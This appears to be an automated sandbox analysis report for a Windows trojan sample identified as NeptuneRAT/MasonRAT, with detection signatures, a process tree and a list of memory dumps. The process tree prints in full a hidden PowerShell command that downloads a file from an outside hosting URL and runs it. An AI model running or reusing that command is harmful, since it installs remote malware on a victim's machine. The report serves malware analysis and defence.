Analysis
- user interaction
yes - max time kernel
117s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
22/08/2026, 03:45
General
- Target MasonClient.exe
- Size 48KB
- Sample260822-ea4aks1aqe
- SHA256 c02828abac0827e6b9f834669e084103aac36180f23f2d63ce1dc4c5b0612223
Malware Config
Signatures
- Family: NeptuneRAT, MasonRAT
NeptuneRAT aka MasonRAT is a trojan written in C#.
- Detects NeptuneRAT stealer 1 IoCs
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/kg4lnc.rar' -OutFile $env:TEMP\Mason108558.exe; Start-Process -WindowStyle Hidden $env:TEMP\Mason108558.exe"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
2281301582.txt
memory/824-23-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/824-18-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/824-16-0x000001600DDD0000-0x000001600DDF2000-memory.dmp
memory/824-26-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/824-17-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/824-24-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/824-22-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/824-13-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/824-21-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/824-20-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/824-19-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/824-12-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/5220-8-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/5220-7-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/5220-5-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/5220-2-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/5220-11-0x00000000010B0000-0x00000000010BE000-memory.dmp
memory/5220-10-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/5220-9-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/5220-27-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/5220-0-0x00007FFD1D88F000-0x00007FFD1D890000-memory.dmp
memory/5220-6-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/5220-4-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/5220-3-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/5220-1-0x0000000000720000-0x0000000000732000-memory.dmp
memory/5220-5061-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/5220-5825-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/5220-10923-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp